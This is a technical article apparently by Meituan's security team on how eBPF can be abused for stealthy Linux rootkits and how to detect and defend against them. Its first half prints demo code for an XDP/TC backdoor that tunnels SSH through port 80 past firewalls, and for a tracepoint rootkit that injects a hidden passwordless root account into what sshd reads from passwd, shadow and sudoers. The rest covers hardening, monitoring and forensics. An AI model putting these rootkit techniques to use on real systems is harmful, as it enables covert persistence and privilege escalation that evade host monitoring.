作者| 美团安全团队

近几年云原生领域飞速发展，eBPF技术成为各厂商首选技术，在网络编排、行为观测等领域四处开花。然而收益与风险并存，不久前爆出的Bvp47后门正是利用BPF技术惊人地在世界各地潜伏了近二十年。今日BPF已演进为eBPF，黑客会如何利用，造成什么危害？我们又该如何防范？

海外资料国内资料eBPF技术恶意利用的攻击原理Linux网络层恶意利用Linux系统运行时恶意利用综述前言现状分析检测防御运行前运行时运行后如何防御工程实现练手类库选择系统兼容性CO-RE大型项目总结前言

近几年，云原生领域飞速发展，K8s成为公认的云操作系统。容器的高频率部署、短暂的生命周期、复杂的网络路由，都给内核安全带来了新的挑战。系统内核面对的复杂性在不断增长，在满足性能、可扩展性等新需求的同时，还需要保障系统稳定可用，这是极其困难的事情。此时，eBPF出现，它以较小的子系统改动，保障了系统内核的稳定，还具备实时动态加载的特性，能将业务逻辑加载到内核，实现热更新的动态执行。eBPF由BPF发展而来，BPF全称Berkeley Packet Filter，1992年由Steven McCanne和Van Jacobson提出，1997年引入Linux Kernel 2.1，3.0中增加了即时编译器，应用在网络过滤领域。2014年Alexei Starovoitov实现了eBPF并扩展到用户空间，威力更大。常用的TCPDUMP&LIBPCAP就是基于它。在Linux Kernel 4.x中，扩展了内核态函数、用户态函数、跟踪点、性能事件（perf_events）以及安全控制等事件类型。尤其是近几年云原生快速发展，也带动了eBPF的繁荣。微软、Google、Facebook等企业成立eBPF基金会，Cilium公司也发布了基于eBPF技术实现的网络产品。不过，在eBPF技术带动新业务快速发展的同时，也带来了安全威胁。

现状分析

我们可以从一些海外资料和国内资料中可以看到，eBPF在解决很多技术难题的同时，也被很多非法的组织和机构恶意利用。

海外资料

Black Hat在Black Hat 2021的峰会中，Datadog工程师Guillaume Fournier带来主题为《With Friends Like eBPF, Who Needs Enemies?》​的分享，他介绍了eBPF如何被恶意利用，包括如何构建一个rootkit、如何利用，并将检测防御代码放在了GitHub上。DEFCON在DEF CON29峰会上，安全研究员Pat Hogan也分享了一些eBPF被恶意利用的案例：《Warping Reality - creating and countering the next generation of Linux rootkits using eBPF》，这里介绍了eBFP rootkit的应用场景，包括网络、运行时等场景，以及如何检测eBPF被恶意利用等。代码也放在了GitHub上。

国内资料

对比国外，国内eBPF被恶意利用的资料较少，相关技术分享也较少。可能这方面的危害还没有得到国内安全同行的关注，如果我们继续这样，势必影响到国内公司在网络安全防御体系层面的建设，进而导致安全防护落后于国外，给企业安全甚至国家安全带来较大的风险。美团信息安全团队作为防御体系的建设方，有责任也有义务带领大家更好地认识这种恶意利用，分享美团在检测防御方面的经验，加固网络安全产品，希望能为国内信息安全建设贡献一份绵薄之力。

eBPF技术恶意利用的攻击原理

知己知彼，才能百战不殆，要想做好防御，必须要了解它的攻击原理。我们先来看下eBPF的rootkit是如何设计的。从eBPF的功能来看，它提供了以下领域的功能：

网络监控观测跟踪&性能分析安全

在网络领域，Cilium等云原生公司做了很多网络层的产品，在实现网格管理的同时，也做了相应的网络层面安全策略，尤其是在网络编排领域，表现尤为亮眼，逐步代替iptables等产品，大有一统江山的趋势。而在监控、观测等领域也有很多产品。尤其是运行时安全（Runtime Security）领域，Datadog、Falco、Google等公司也都推出了相应的产品。感兴趣的同学，可以参考相关产品源码分析（Cilium eBPF实现机制源码分析、Datadog的eBPF安全检测机制分析）的分享。我们回顾一下eBPF技术的hook点：

eBPF hook位置从图中可以看出，eBPF的hook点功能包括以下几部分：

可以在Storage、Network等与内核交互之间；也可以在内核中的功能模块交互之间；又可以在内核态与用户态交互之间；更可以在用户态进程空间。

eBPF的功能覆盖XDP、TC、Probe、Socket等，每个功能点都能实现内核态的篡改行为，从而使得用户态完全致盲，哪怕是基于内核模块的HIDS，一样无法感知到这些行为。基于eBPF的功能函数，从业务场景来看，网络、监控、观测类的功能促进了云原生领域的产品发展；跟踪/性能分析、安全类功能，加快了安全防御、审计类产品演进；而安全领域的恶意利用，也会成为黑客关注的方向。本文将与大家探讨一下新的威胁与防御思路。

从数据流所处阶段来看，本文划分为两部分，接下来一起来讨论恶意利用、风险危害与防御思路。

Linux网络层恶意利用Linux系统运行时恶意利用Linux网络层恶意利用

以一个SSH、Web服务的服务器为例，在IDC常见网络访问策略中，开放公网Web 80端口允许任意来源的IP访问。而SSH服务只允许特定IP，或者只开放内网端口访问。假设这台服务器已经被黑客入侵，黑客需要留下一个后门，且需要一个隐藏、可靠的网络链路作为后门通道，那么在eBPF技术上，会如何实现呢？

XDP/TC层修改TCP包

为了让后门隐藏的更好，最好是不开进程，不监听端口（当前部分我们只讨论网络层隐藏）。而eBPF技术在XDP、TC、Socket等内核层的功能，能够实现流量信息修改，这些功能常被应用在L3、L4的网络负载均衡上。比如Cilium的网络策略都是基于eBPF XDP实现。eBPF hook了XDP点后，更改了TCP包的目标IP，系统内核再将该数据包转发出去。按照XDP与TC在Linux内核中，处理ingress与egress的位置，可以更准确地确定hook点。

XDP的BPF_PROG_TYPE_XDP程序类型，可以丢弃、修改、重传来自ingress的流量，但无法对egress起作用。TC的BPF_PROG_TYPE_SCHED_CLS除了拥有XDP“BPF_PROG_TYPE_XDP”的功能外，还可以对egress起作用。

前者最常用的场景就是做网络防火墙，用于网络流量清洗，效率比传统防火墙的高很多。后者常用于云原生场景下，容器、Pod的网络监控、安全访问控制等。在这个例子中，要对进出流量都做调整，故两个hook点都需要有。同样，在XDP等阶段的hook，在这里做相关包逻辑的处理，能更好地将通信包隐藏，tcpdump等工具都抓不到。控制链路在后门场景里，可以在同样的位置，像eBPF的负载均衡一样，修改目标端口，从Web Nginx的80改为SSHD的22，就可以实现网络数据的透传，绕开防火墙以及网络访问限制。认证密钥由于后门rootkit是在XDP\TC层工作，为了尽可能的简单，认证密钥最好只使用链路层、网络层、传输层的数据，即MAC信息、IP五元组之类。IP经常变动，MAC地址大概率是唯一的，以及设定一个固定的端口，这样更加唯一，作为rootkit的认证密钥即可实现（需要Client发起连接时，指定客户端的TCP端口）。eBPF uprobe与eBPF map联动对于后门rootkit的密钥更新，利用eBPF也很好实现。比如在Nginx的场景中，uprobe实现hook HTTP的函数，获取URL参数中特定字符串，再将字符串保存到eBPF map里，就实现了密钥更新。XDP/TC层的eBPF rootkit执行时，读取eBPF map里的密钥，进行比较运算。

实现流程

这里举个XDP处理ingress的例子：

SEC("xdp/ingress")intxdp_ingress(structxdp_md*ctx){structcursorc;structpkt_ctx_tpkt;//判断是否为SSHD的协议，不是则直接放行if(!(不是SSHD协议(&c))){returnXDP_PASS;}//判断rootkit是否匹配，网卡信息与来源端口是否匹配hack_mac[]="读取bpf map配置。"if(密钥不匹配){returnXDP_PASS;}//读取map，是否已经存在该client信息structnetinfoclient_key={};__builtin_memcpy(&client_key.mac,&pkt.eth->h_source,ETH_ALEN);structnetinfo*client_value;client_value=bpf_map_lookup_elem(&ingress_client,&client_key);//如果没找到伪装信息，则自己组装if(!client_value){__builtin_memset(&client_value,0,sizeof(client_value));}else{bpf_map_update_elem(&ingress_client,&client_key,&client_value,BPF_ANY);}//伪装mac局域网mac信息pkt.eth->h_source[0]=0x00;...//替换伪装ip来源，客户端端口不变//更改目标端口pkt.tcp->dest=htons(FACK_PORT);//22//计算TCPSUMlayer4ipv4_csum(pkt.tcp,sizeof(structtcphdr),&csum);pkt.tcp->check=csum;//写入已伪装的map，用于TC处理egress的原mac、IP信息还原。returnXDP_PASS;}

比较简单的Demo，即可实现ingress侧TCP数据包的伪装。同样，TC层处理egress方向的数据包时，只需要对伪装包的原始信息作还原即可。整个流程如下图所示：

eBPF在XDP/TC层实现网络穿透rootkit通信链路这样，rootkit的通信链路并不影响正常用户访问，也没有对原系统做改动，隐蔽性特别好。

视频演示

我们准备了三台主机测试：

入侵者：cnxct-mt2，IP为172.16.71.1。普通用户：ubuntu，IP为172.16.71.3。被入侵服务器：vm-ubuntu，IP为172.16.71.4。开放nginx web 80端口；开放SSHD 22端口，并设定iptables规则只允许内网IP访问。危害

这个rootkit不主动创建Socket，借用其中一个网络发送包，把消息送达给后门使用者。对系统影响来说，只是一个不起眼的小网络响应。在万千HTTP包里，根本定位不到。

iptables防火墙绕过：利用对外开放的80端口作为通信隧道；WebIDS绕过：流量到达服务器后，并不传递给Nginx；NIDS绕过：入侵者流量在局域网之间流传并无异常，只是无法解密；HIDS绕过：是否信任了防火墙，忽略了本机/局域网来源的SSHD登录。Linux系统运行时恶意利用

云原生生态下，涌现大批基于eBPF技术实现的集群网络管理插件，比如Calico、Cilium等。而业务实现网络管理服务是以容器化方式部署，且有需要给这些容器启用SYS_BPF_ADMIN权限以支持eBPF系统调用。这些服务的运行环境，也给攻击者留下一个完美的发挥空间。

实现流程

回顾eBPF的hook点，作用在syscall的kprobe、tracepoint事件类型，倘若用在后门rootkit场景，是十分可怕的。比如修改内核态返回给用户态的数据、拦截阻断用户态行为等，为所欲为。而更可怕的是，常见的HIDS都是基于内核态或者用户态做行为监控，eBPF恰恰绕开了大部分HIDS的监控，且不产生任何日志，简直让人“细思极恐、不寒而栗”。tracepoint事件类型hook在SSHD应用中，当用户登录时，会读取/etc/passwd等文件。用户态SSHD程序，调用open、read等系统调用，让内核去硬件磁盘上检索数据，再返回数据给SSHD进程。用户态生成payload用户态实现/etc/passwd、/etc/shadow等文件payload的生成，并通过eBPF的RewriteConstants机制，完成对ELF .rodata的字段值替换。

import"github.com/ehids/ebpfmanager"//通过elf的常量替换方式传递数据func(e*MBPFContainerEscape)constantEditor()[]manager.ConstantEditor{varusername=RandString(9)varpassword=RandString(9)vars=RandString(8)salt:=[]byte(fmt.Sprintf("$6$%s",s))//usesalttohashuser-suppliedpasswordc:=sha512_crypt.New()hash,err:=c.Generate([]byte(password),salt)varm=map[string]interface{}{}res:=make([]byte,PAYLOAD_LEN)varpayload=fmt.Sprintf("%sALL=(ALL:ALL)NOPASSWD:ALL#",username)copy(res,payload)m["payload"]=resm["payload_len"]=uint32(len(payload))//生成passwd字符串varpayload_passwd=fmt.Sprintf("%s:x:0:0:root:/root:/bin/bash\n",username)//生成shadow字符串varpayload_shadow=fmt.Sprintf("%s:%s:18982:0:99999:7:::\n",username,hash)//eBPFRewriteContantsvareditor=[]manager.ConstantEditor{{Name:"payload",Value:m["payload"],FailOnMissing:true,},{Name:"payload_len",Value:m["payload_len"],FailOnMissing:true,},}returneditor}func(this*MBPFContainerEscape)setupManagers(){this.bpfManager=&manager.Manager{Probes:[]*manager.Probe{{Section:"tracepoint/syscalls/sys_enter_openat",EbpfFuncName:"handle_openat_enter",AttachToFuncName:"sys_enter_openat",},...},Maps:[]*manager.Map{{Name:"events",},},}this.bpfManagerOptions=manager.Options{...//填充RewriteContants对应mapConstantEditors:this.constantEditor(),}}

内核态使用payload

constvolatileintpayload_len=0;...constvolatilecharpayload_shadow[MAX_PAYLOAD_LEN];SEC("tracepoint/syscalls/sys_exit_read")inthandle_read_exit(structtrace_event_raw_sys_exit*ctx){//判断是否为rootkit行为，是否需要加载payload...longintread_size=ctx->ret;//判断原buff长度是否小于payloadif(read_sizefile_type){caseFILE_TYPE_PASSWD://覆盖payload到buf，不足部分使用原buff内容{bpf_probe_read(&local_buff,MAX_PAYLOAD_LEN,(void*)buff_addr);for(unsignedinti=0;i=payload_passwd_len){local_buff[i]="";}else{local_buff[i]=payload_passwd[i];}}}break;caseFILE_TYPE_SHADOW://覆盖shadow文件...break;caseFILE_TYPE_SUDOERS://覆盖sudoers...break;default:return0;break;}//将payload内存写入到bufferret=bpf_probe_write_user((void*)buff_addr,local_buff,MAX_PAYLOAD_LEN);//发送事件到用户态return0;}

按照如上Demo rootkit的设计，即完成了随机用户名密码的root账号添加。在鉴权认证上，也可以配合“eBPF网络层恶意利用”的Demo，利用eBPF map交互，实现相应鉴权。但rootkit本身并没有更改硬盘上文件，不产生风险行为。并且，只针对特定进程的做覆盖，隐蔽性更好。整个流程如下图所示：eBPF在runtime安全场景恶意利用不管是在物理机上，还是给了root+BPF权限的容器上，都一样生效。

视频演示严重危害

云原生场景下，赋予SYS_ADMIN权限的容器场景很多，若配合近期的“Java log4j”漏洞，直接击穿容器，拿到宿主机权限，是不是很可怕？然而，比这可怕的是：这种rootkit本身并没有产生用户态行为日志，也没有改文件，系统里查不到这个用户信息。整个后门行为不产生数据，让大部分HIDS失灵。

综述

从本文演示的这两个场景可以来看，相信大家已经知道了eBPF技术被恶意利用的危害性。其实，这只是eBPF技术被恶意利益的“冰山一角”，在kproeb\uprobe上也有很多功能，比如实现进程隐藏、无痕内网扫描等等。更多相关的恶意利用，大家可参考Bad BPF - Warping reality using eBPF一文。若入侵者精心设计rootkit，实现进程隐藏等，让rootkit更加隐蔽，按照本文的思路，实现一个“幽灵般”的后门，想想就让人后怕。常规的主机安全防御产品一般用Netlink、Linux Kernel Module等技术实现进程创建、网络通信等行为感知，而eBPF的hook点可以比这些技术更加深，比它们执行更早，意味着常规HIDS并不能感知发现它们。传统rootkit，采用hook api的方法，替换原来函数，导致执行函数调用地址发生变化，已有成熟检测机制，eBPF hook不同于传统rootkit，函数调用堆栈不变。这给检测带来很大的麻烦。那面对这种后门，我们该如何检测防御呢？

检测防御

从事件发生的过程来看，分为三个阶段：

运行前运行时运行后运行前

在恶意程序运行前，减少攻击面，这个思路是不变的。

环境限制

不管是宿主机还是容器，都进行权限收敛，能不赋予SYS_ADMIN、CAP_BPF等权限，就禁止掉。若一定要开放这个权限，那么只能放到运行时的检测环节了。

seccomp限制

在容器启动时，修改默认seccomp.json，禁止bpf系统调用，防止容器逃逸，注意此方法对于Privileged特权容器无效。

内核编译参数限制

修改函数返回值做运行时防护时，需要用到bpf_override_return，该函数需要内核开启CONFIG_BPF_KPROBE_OVERRIDE编译参数，因此非特殊情况不要开启该编译参数。

非特权用户指令

大部分eBPF程序类型都需要root权限的用户才能调用执行。但有几个例外，比如BPF_PROG_TYPE_SOCKET_FILTER和BPF_PROG_TYPE_CGROUP_SKB这两个类型，就不需要root。但需要读取系统配置开关。

//https://elixir.bootlin.com/linux/v5.16.9/source/kernel/bpf/syscall.c#L2240if(type!=BPF_PROG_TYPE_SOCKET_FILTER&&type!=BPF_PROG_TYPE_CGROUP_SKB&&!bpf_capable())return-EPERM;

开关确认在/proc/sys/kernel/unprivileged_bpf_disabled里，可通过执行sysctl kernel.unprivileged_bpf_disabled=1来修改配置。配置含义见Documentation for /proc/sys/kernel/。

值为0表示允许非特权用户调用bpf；值为1表示禁止非特权用户调用bpf且该值不可再修改，只能重启后修改；值为2表示禁止非特权用户调用bpf，可以再次修改为0或1。特征检查

有人提议，在内核加载BPF字节码时，进行签名验证，以便达到只加载安全签名的BPF字节码。在lwn.net中也列出这个话题：BPF字节码签名计划。但很多人也提出反对意见，他们认为BPF模块这几年的发展，过于抽象化，越来越复杂，所以不希望加入额外的功能，让BPF更加不稳定。而是改变思路，让字节码加载时签名，改为“执行BPF字节码加载的用户态程序进行签名”，这个是已有的内核功能，不会增加系统复杂性。本文认为，这确实可以缓解大部分BPF字节码加载的问题。但使用系统原生命令（tc\ip\bpftool等）加载的话，仍面临威胁。比如：ip link set dev ens33 xdp obj xdp-example_pass.o。

ip命令加载eBPF字节码

运行检查

大部分eBPF程序在重启后不存在了，所以入侵者会尽可能让后门自启动。对于Linux系统的自启动、crontab等计划任务做好检查。用户态程序可以以各种形式存在，ELF可执行文件、ELF so动态链接库都可以。在执行时，必定会调用BPF syscall来加载BPF字节码。若只是对可执行ELF做检测，还不够准确。

运行时监控

Linux系统中，所有的程序运行，都必须进行系统调用，eBPF程序也不例外。需要调用syscall为321的SYS_BPF指令。并且，所有的eBPF程序执行、map创建都必须进行这个syscall调用。那么，在这个必经之路进行拦截监控，是最好的方案。

SEC("tracepoint/syscalls/sys_enter_bpf")inttracepoint_sys_enter_bpf(structsyscall_bpf_args*args){structbpf_context_t*bpf_context=make_event();if(!bpf_context)return0;bpf_context->cmd=args->cmd;get_common_proc(&bpf_context->procinfo);send_event(args,bpf_context);return0;}

这里，我们开源的ehids项目做了一个BPF syscall检测的例子，大家可以Fork了解。仓库地址为：GitHub/ehids。细心的读者这时可能会有疑问，假如入侵者的后门执行比较早，对这个系统调用进行欺骗，那怎么办呢？这是一个非常好的问题，我们将放到运行后的溯源章节进行讨论。但对于大部分场景，HIDS防御产品还是可以做到第一时间启动的。

审计&筛查

上面我们讨论了对BPF系统的调用进行监控。而在云原生场景中，基于eBPF实现的网络产品会频繁调用，会产生大量的事件日志，从而给运营同学带来较大的压力。那么，对行为做精简、做精确筛选，就成为我们接下来的目标。根据程序白名单筛选数据过滤，是解决大量数据压力的一种方案。在一些BPF应用的业务服务器上，本身业务行为会产生大量调用，会给安全预警带来较大审计压力。对于已知的进程，我们可以根据进程特征过滤。获取当前进程pid、comm等属性，根据用户态写入eBPF map的配置，决定是否上报、是否拦截。也可以在用户态做过滤，但内核态效率更高。如果是做拦截，那必须要在内核态实现。大家可以参考saBPF产品设计思路，用eBPF实现LSM hook点的钩子程序，完成相关审计调用。虽然GitHub/saBPF-project的项目代码还只是Demo，但思路可以借鉴。

根据SYSCALL类型筛选在BPF syscall里，子命令的功能包含map、prog等多种类型的操作，​bpf() subcommand reference里有详细的读写API。在实际的业务场景里，“写”的安全风险比“读”大。所以，我们可以过滤掉“读”操作，只上报、审计“写”操作。比如：

MAP的创建BPF_MAP_CREATEPROG加载BPF_PROG_LOADBPF_OBJ_PINBPF_PROG_ATTACHBPF_BTF_LOADBPF_MAP_UPDATE_BATCH

尤其是有BPF需求的业务场景，可以更好的审计日志。

运行后

这里提几个问题，eBPF用户态程序与内核态程序交互，加载BPF字节码后，能退出吗？退出后，内核hook的BPF函数还工作吗？创建的map是否还存在？后门程序为了保证更好的隐蔽性，我们当如何选择？如果要回答这些问题，不得不提BPF程序的加载机制，BPF对象生命周期。

文件描述符与引用计数器

用户态程序通过文件描述符FD来访问BPF对象（progs、maps、调试信息），每个对象都有一个引用计数器。用户态打开、读取相应FD，对应计数器会增加。若FD关闭，引用计数器减少，当refcnt为0时，内核会释放BPF对象，那么这个BPF对象将不再工作。在安全场景里，用户态的后门进程若退出后，后门的eBPF程序也随之退出。在做安全检查时，这可以作为一个有利特征，查看进程列表中是否包含可疑进程。但并非所有BPF对象都会随着用户态进程退出而退出。从内核原理来看，只需要保证refcnt大于0，就可以让BPF对象存活，让后门进程持续工作了。其实在BPF的程序类型中，像XDP、TC和基于CGROUP的钩子是全局的，不会因为用户态程序退出而退出。相应FD会由内核维护，保证refcnt计数器不为零，从而继续工作。

溯源

安全工程师经常需要根据不同场景作不同的溯源策略。本文给的溯源方式中，都使用了eBPF的相关接口，这意味着：如果恶意程序比检查工具运行的早，那么对于结果存在伪造的可能。短生命周期BPF程序类型代表

k[ret]probeu[ret]probetracepointraw_tracepointperf_eventsocket filtersso_reuseport

特点是基于FD管理，内核自动清理，对系统稳定性更好。这种程序类型的后门，在排查时特征明显，就是用户态进程。并且可以通过系统正在运行的BPF程序列表中获取。bpftool工具eBPF程序列表命令bpftool prog show​，以及bpftool prog help​查看更多参数。

结果中，可以看到当前系统正在运行的BPF程序、关联的BPF map ID，以及对应的进程信息等。另外，细心的读者可能发现，结果中，XDP数据中并没有进程ID信息，稍后讨论。eBPF map列表命令bpftool map show​，以及bpftool map help​可以查看更多参数。

通过查看map信息，可以与程序信息作辅助矫正。并且，可以导出map内数据用来识别恶意进程行为。这部分我们在“取证”章节讨论。bpflist-bpfccbpflist-bpfcc -vv命令可以看到当前服务器运行的“部分”BPF程序列表。以测试环境为例：

root@vmubuntu:/home/cfc4n/project/xdp##bpflist-bpfcc-vvopenkprobes:openuprobes:PIDCOMMTYPECOUNT1systemdprog810444ehidsmap410444ehidsprog5

可以看到系统进程systemd启动了8个prog程序。ehids进程创建了4个eBPF map与5个prog。但实际上前面也执行了ip link set dev ens33 xdp obj xdp-example_pass.o命令，在这里却没有显示出来。意味着这个命令输出的结果并不是所有bpf程序、map的情况。

长生命周期BPF程序类型代表

XDPTCLWTCGROUP

上面提到以ip命令加载BPF字节码的场景，常见BPF工具查询不到或信息缺失。这背后原因，需要从它的工作原理讲起。ip命令加载BPF原理BPF对象的生命周期使用引用计时器管理，这一大原则是所有BPF对象都需要遵守的。而长生命周期的程序类型起FD是用户控件程序传递参数给内核空间，之后再由内核空间维持。以前面提到的IP命令ip link set dev ens33 xdp obj xdp-example_pass.o为例。ip命令的参数中包含bpf字节码文件名，ip进程打开.o字节码的FD，通过NETLINK发IFLA_XDP类型消息（子类型IFLA_XDP_FD）给内核，内核调用dev_change_xdp_fd函数，由网卡接管FD，引用计数器递增，用户空间的ip进程退出后，BPF程序依旧工作。内核源码参见：elixir.bootlin.com/linux。本文做了抓包验证，ip程序关联XDP程序类型：

17:53:22.553708sendmsg(3,{msg_name={sa_family=AF_NETLINK,nl_pid=0,nl_groups=00000000},msg_namelen=12,msg_iov=[{iov_base={{nlmsg_len=52,nlmsg_type=RTM_NEWLINK,nlmsg_flags=NLM_F_REQUEST|NLM_F_ACK,nlmsg_seq=1642672403,nlmsg_pid=0},{ifi_family=AF_UNSPEC,ifi_type=ARPHRD_NETROM,ifi_index=if_nametoindex("ens33"),ifi_flags=0,ifi_change=0},{{nla_len=20,nla_type=IFLA_XDP},[{{nla_len=8,nla_type=IFLA_XDP_FD},6},{{nla_len=8,nla_type=IFLA_XDP_FLAGS},XDP_FLAGS_UPDATE_IF_NOEXIST}]}},iov_len=52}],msg_iovlen=1,msg_controllen=0,msg_flags=0},0)=52

可以看到IFLA_XDP_FD后面的FD参数是6。同样，删除XDP程序，需要把FD设置为-1，对应NETLINK包构成如下：

17:55:16.306843sendmsg(3,{...{nla_len=20,nla_type=IFLA_XDP},[{{nla_len=8,nla_type=IFLA_XDP_FD},-1},{{nla_len=8,nla_type=IFLA_XDP_FLAGS},XDP_FLAGS_UPDATE_IF_NOEXIST}]}...},0)=52

不止ip命令，TC命令分类器也是支持BPF程序，将BPF程序作为classifiers和 act ions加载到ingress/egress hook点。背后原理与IP类似，也是NetLink协议与内核通信，网卡维持BPF对象计数器。检测机制使用原生ip、tc等命令，查看网卡加载的BPF对象

ip link showtc filter show dev [网卡名] [ingress|egress]

使用bpftool命令查看bpftool net show dev ens33 -p命令可以用于查看网络相关的eBPF hook点。CGROUP的的BPF_PROG_TYPE_CGROUP_SKB、BPF_PROG_TYPE_CGROUP_SOCK类型程序的加载情况都可以通过bpftool prog show查看。长短生命周期的BPF程序区别是缺少用户空间进程PID信息。如下图所示：

BPFFS除了前面提到的方法外，BPF文件系统BPFFS也是让BPF程序后台运行的方式。用户空间进程可以使用任意名字将BPF程序PIN到BPFFS。让在BPFFS来自动增加BPF对象的refcnt引用计数器，来保持后台的活跃状态。在使用时，只需要使用bpf_obj_get(“BPFFS path”)就可以获得BPF对象的FD。BPFFS在Linux的类型是BPF_FS_MAGIC，默认目录/sys/fs/bpf/，可自定义修改，但确保文件系统类型是unix.BPF_FS_MAGIC。在检测思路上，我们需要关注虚拟文件系统是不是unix.BPF_FS_MAGIC类型。在Linux系统上，mount -t bpf来查看系统所有挂在的文件类型，是否包含BPFFS类型。

确定BPFFS的目录后，我们再查看目录下的挂载点是否存在异常。

取证

内核已加载的BPF对象导出bpftool工具可以导出有FD id的prog、map。BPF prog程序可以导出opcode\visual\linum等多种格式，并可以生成调用关系图。具体可以查看bpftool的帮助文件。

root@vmubuntu:/home/cfc4n#bpftoolproghelpbpftoolprogdumpxlatedPROG[{fileFILE|opcodes|visual|linum}]bpftoolprogdumpjitedPROG[{fileFILE|opcodes|linum}]

BPF map与prog类似，也可以通过bpftool导出内容，并支持JSON格式化内容。

root@vmubuntu:/home/cfc4n#bpftoolmapdumpid20[{"value":{".rodata":[{"target_ppid":0},{"uid":0},{"payload_len":38...

BPFFSBPFFS类型的BPF对象，虽然可以更便捷的放到后台执行，用户空间程序可以退出，也可以再次读取，但这也给取证带来很大便利。bpftool命令也支持从pinned到BPFFS文件系统的路径里导出prog、map。参数稍有区别，详情见bpftool help。

内核未加载的BPF对象当定位到后门rootkit的用户空间程序后，那么BPF字节码肯定会被其调用。字节码内容一般会放在一个独立文件中，或者作为字节码编译到当前程序里。这也只需要使用IDA之类反编译工具，定位到相关字节流，导出即可。以本文演示视频中的ehids进程为例，使用GitHub/ehids/ebpfmanager纯Go的eBPF模块管理器package，对于eBPF字节码会使用github.com/shuLhan/go-bindata/cmd/go-bindata包对BPF字节码进行加载、Gzip压缩，作为Go代码的变量，在部署时比较边界。IDA Pro加载时，我们可以在.noptrdata段部分看到这块代码，开始地址是0000000000827AE0，导出后再解压，可以还原原来的BPF ELF文件内容。

因为每个BPF用户态实现不同，类库也不一样，静态分析实践起来有难度。那可以模拟相同环境，动态运行，提前hook BPF syscall，找到FD设置的地方，也是可以导出BPF的ELF文件。字节码分析BPF字节码本身也是ELF格式，只是格式指令上有一定区别。反编译工具IDA pro也能支持，国外安全工程师开源了一个Python插件：eBPF IDA Proc，并整理了一篇分析的文章：Reverse Engineering Ebpfkit Rootkit With BlackBerry"s Enhanced IDA Processor Tool，感兴趣的同学可以读读。

如何防御

eBPF在网络安全场景的使用，除了做入侵检测外，还可以用于防御。LSM PROBE hook提供了相关功能。以容器逃逸场景为例，行为最明显的特征是“父子进程”的Namespace不一致，子进程创建完成后，判断这个特征是否匹配，返回EPERM覆盖进程创建函数的返回值，从而起到防御的目的。相比内核模块等防御实现，eBPF实现更加安全、稳定、可靠，从而在源头上解决容器逃逸的问题。同样，本文认为eBPF也是二进制层最优秀的虚拟补丁、热更新解决方案。

LSM_PROBE(bpf,intcmd,unionbpf_attr*attr,unsignedintsize){return-EPERM;}

在系统的配置上有一定要求，CONFIG_BPF_LSM=y、CONFIG_LSM等配置内容，必须包含bpf等，详情可参考BCC类库Demo lsm probe。

工程实现练手

入门练手，可以尝试使用BCC的类库：GitHub/BCC，以及C语言用户空间程序的各种Demo例子Demo BPF applications。

类库选择

工程化时，对项目质量、稳定性、研发效率等都有要求，推荐Cilium的纯Go eBPF类库，由Cilium官方背书可放心使用。Datadog公司的Agent产品也是用这个类库。本文的产品也是参考Datadog，抽象包装了Cilium的eBPF库，实现配置化便捷管理eBPF程序。GitHub仓库：ehids/ebpfmanager，欢迎大家使用。当然，也可以使用libbpf包装的o类库实现，比如Tracee等产品。

系统兼容性CO-RE

eBPF的出现极大地简化了编写内核态代码的门槛，极高的安全性，友好的加载方式，高效的数据交互，令eBPF深受追捧。然而和编写传统内核模块相同，内核态的功能开发伴随着繁冗的适配测试工作，Linux繁多的内核版本更是让适配这件事难度陡增，这也就是BTF出现之前的很长一段时间里，bcc + clang + llvm被人们诟病的地方。程序在运行的时候，才进行编译，目标机器还得安装clang llvm kernel-header等编译环境，同时编译也会消耗大量CPU资源，这在某些高负载机器上是不能被接受的。因此，BTF&CO-RE横空出现，BTF可以理解为一种Debug符号描述方式，此前传统方式Debug信息会非常巨大，Linux内核一般会关闭Debug符号，BTF的出现解决了这一问题，大幅度减少Debug信息的大小，使得生产场景内核携带Debug信息成为可能。可喜的是，通过运用BTF&CO-RE这项技术，可以帮助开发者节省大量适配精力，但是这项技术目前还是在开发中，还有许多处理不了的场景，比如结构体成员被迁入子结构体中，这时候还是需要手动解决问题，BTF的开发者也写了一篇文章，讲解不同场景的处理方案bpf-core-reference-guide。

大型项目

在国外，云原生领域产品发展较快，涌现出一批批基于eBPF的产品，包括Cilium、Datadog、Falco、Katran等，应用在网络编排、网络防火墙、跟踪定位、运行时安全等各个领域，可以借鉴这些大型项目的研发经验，来加快产品建设，包括多系统兼容、框架设计、项目质量、监控体系建设等。本篇以检测防御为主，工程建设相关经验，我们将在以后的文章中分享。

总结

随着云原生快速发展，eBPF实现软件、运行环境会越来越多。而eBPF的恶意利用也会越来越普遍。从国内外的情况来看，国外对这个方向的研究远比国内超前，我们再次呼吁大家，网络安全产品应当尽快具备eBPF相关威胁检测能力。本文跟大家探讨了基于eBPF技术的恶意利用与检测机制，其中提到的eBPF在防御检测产品研发、工程建设等内容，我们将在下一篇跟大家分享，敬请期待。

作者简介

陈驰、杨一、鑫博，均来自美团信息安全部。

关键词： 生命周期 系统调用 网络安全 快速发展 系统内核